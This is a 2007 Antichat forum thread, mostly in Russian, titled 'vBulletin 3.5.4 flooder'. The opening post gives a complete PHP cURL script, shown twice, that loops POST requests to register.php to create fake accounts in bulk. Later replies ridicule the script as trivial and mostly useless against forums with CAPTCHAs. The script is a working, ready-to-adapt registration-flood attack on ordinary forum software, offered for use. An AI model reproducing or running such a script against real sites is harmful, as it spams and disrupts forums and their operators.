ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

vBulletin 3.5.4 flooder.
  #1  
Старый 16.08.2007, 20:58
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
С нами: 10119206

Репутация: 412
По умолчанию vBulletin 3.5.4 flooder.

PHP код:
####################### vBulletin Version 3.5.4 #########################
Script     : vBulletin Version 3.5.4
site       : www.vbulletin.com
Exploit by : x-boy
E-mail     : Dicomdk@gmail.com
Type       : Registration flood in register.php
Thanks to  : Simo64
#########################################################################
Code of exploit (For english version , you can change it to other language)=> exploit.php
cURL Must be activated  (http://curl.haxx.se)
Sorry for my bad English  :-)
#########################################################################
<?
set_time_limit
(60);
//You can change 10 to other numbers 
for($i = 1 ; $i <= 10 ; $i++)
{
//to put curl to send POST request
$ch = curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch , CURLOPT_URL , 'http://localhost/vb3/register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS , 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished  good luck
?>
##########################################################################

PHP код:
<?
set_time_limit
(60);
//You can change 10 to other numbers 
for($i = 1 ; $i <= 10 ; $i++)
{
//to put curl to send POST request
$ch = curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch , CURLOPT_URL , 'http://localhost/vb3/register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS , 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished  good luck
?>
This isn't a perl script, the script si coded in php language

Последний раз редактировалось Mo4x™; 16.08.2007 в 21:00..
 
Ответить с цитированием

  #2  
Старый 16.08.2007, 21:07
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

мде...
крутые личности... какие флудеры пишут... просто гениально...

Последний раз редактировалось GreenBear; 16.08.2007 в 21:10..
 
Ответить с цитированием

  #3  
Старый 16.08.2007, 21:12
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
С нами: 10119206

Репутация: 412
По умолчанию

Цитата:
Сообщение от GreenBear  
мде...
крутые личности... какие флудеры пишут... просто гениально...
-Ммм ну не всеже мы как ты гениальны.
 
Ответить с цитированием

  #4  
Старый 16.08.2007, 21:12
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
С нами: 11298566

Репутация: 761


По умолчанию

Даже не знаю что сказать... Кроме как бугага, больше ничего не приходит в голову.
Вообщем художественная самодеятельность какая-то, а не флудер. (имхо)
 
Ответить с цитированием

  #5  
Старый 16.08.2007, 21:19
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

Цитата:
Сообщение от Mo4x™  
-Ммм ну не всеже мы как ты гениальны.
во первых, этот "флудер" работать почти везде не будет. надеюсь объяснять почему не надо.
во вторых, раз уж автор хотел сделать код очень маленький и без всякого смысла, то можно было обойтись одной строкой, а не выпендриваться, как он умеет читать мануалы на пхп.нет
в третьих, в чем разница между 1 и 2, кроме как копирайтов в 7 раз больше кода?

Цитата:
This isn't a perl script, the script si coded in php language
ааааа! в начале не прочел, долго не мог понять почему перл так безбожно меня материт!

беру все свои слова назад.
 
Ответить с цитированием

  #6  
Старый 16.08.2007, 21:27
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
С нами: 9965892

Репутация: 677
По умолчанию

одно название флудер, сейчас ни встретишь ни одного форума где нет капчи, может мне выложить скрипт которым я засекаю время когда варю пельмени?
 
Ответить с цитированием

  #7  
Старый 16.08.2007, 21:30
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

Цитата:
одно название флудер, сейчас ни встретишь ни одного форума где нет капчи, может мне выложить скрипт которым я засекаю время когда варю пельмени?
давай, а то заколебался уже с калькулятором вычислять его.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Уязвимость в vBulletin 3.5.4 ... Feshh Уязвимости CMS / форумов 2 03.05.2007 11:24
Редактировать index.php в vbulletin 3.5.4 zolamt Уязвимости CMS / форумов 0 13.11.2006 01:47
Спереть куки в vBulletin 3.5.4 GoRiLLa Уязвимости CMS / форумов 2 16.06.2006 12:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.